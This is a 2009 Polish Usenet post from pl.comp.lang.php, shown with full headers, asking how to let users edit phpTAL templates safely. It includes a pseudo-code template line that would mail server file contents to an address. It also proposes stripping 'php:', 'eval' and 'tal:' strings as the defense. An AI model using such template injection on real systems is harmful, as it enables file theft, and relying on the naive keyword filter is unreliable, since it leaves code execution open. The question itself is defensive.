Article View: pl.comp.lang.php
Article #220050Re: Detekcja proxy
From: Koteczek
Date: Mon, 10 Aug 2009 14:21
Date: Mon, 10 Aug 2009 14:21
31 lines
2166 bytes
2166 bytes
nie w temacie ale Ty jestes guru od phpTAL.
Jesli jednak chcialbym aby end-user mogl edytowac szablony phptal, trzymane w
bazie danych na przyklad, to co musze oczyscic by zachowac bezpieczenstwo?
Chodzi mi o przypadek gdy ktos uzywajac instrukcji php: w ramach szablonu
phpTAL np odczyta wszystkie inne pliki na serwerze i je sobie wysle.
Cos ala (pseudo kod)
<a tal:condition="php: mail('adres@serwer.pl', filegetcontent(jakis plik))" />
Chce sie przed tym uchronic ale nadal uzywac phpTAL.
Czy wystarczy ze zanim zrobie $user_template->execute() to oczyszcze kod html
ze wszystkich wystapien "php:" i "eval", "tal:" zamieniajac je na '' ?
W normalnym tekscie nikt nie powinien uzyc php: ani eval ani tal: , usuwac te
znaczniki przed wykonanien szablonu bedzie zapewnialo mi bezpieczenstwo czy
nie?
dzieki
__________ Informacja programu ESET Smart Security, wersja bazy sygnatur wirusรณw 3948 (20090319) __________
Wiadomosc zostala sprawdzona przez program ESET Smart Security.
http://www.eset.pl lub http://www.eset.com
Technical Details
Message-ID:
<h5pavs$4f3$1@nemesis.news.neostrada.pl>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsfeed.neostrada.pl!atlantis.news.neostrada.pl!news.neostrada.pl!not-for-mailReferences:
<h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsfeed.neostrada.pl!atlantis.news.neostrada.pl!news.neostrada.pl!not-for-mail From: "Koteczek" <nie@spamowac.org> Newsgroups: pl.comp.lang.php Subject: Re: Detekcja proxy Date: Mon, 10 Aug 2009 16:21:19 +0200 Organization: TP - http://www.tp.pl/ Lines: 34 Message-ID: <h5pavs$4f3$1@nemesis.news.neostrada.pl> References: <h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local> NNTP-Posting-Host: enw50.internetdsl.tpnet.pl Mime-Version: 1.0 X-Trace: nemesis.news.neostrada.pl 1249914684 4579 83.15.208.50 (10 Aug 2009 14:31:24 GMT) X-Complaints-To: usenet@news.neostrada.pl NNTP-Posting-Date: Mon, 10 Aug 2009 14:31:24 +0000 (UTC) X-Priority: 3 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2900.5512 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 X-EsetScannerBuild: 4637 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit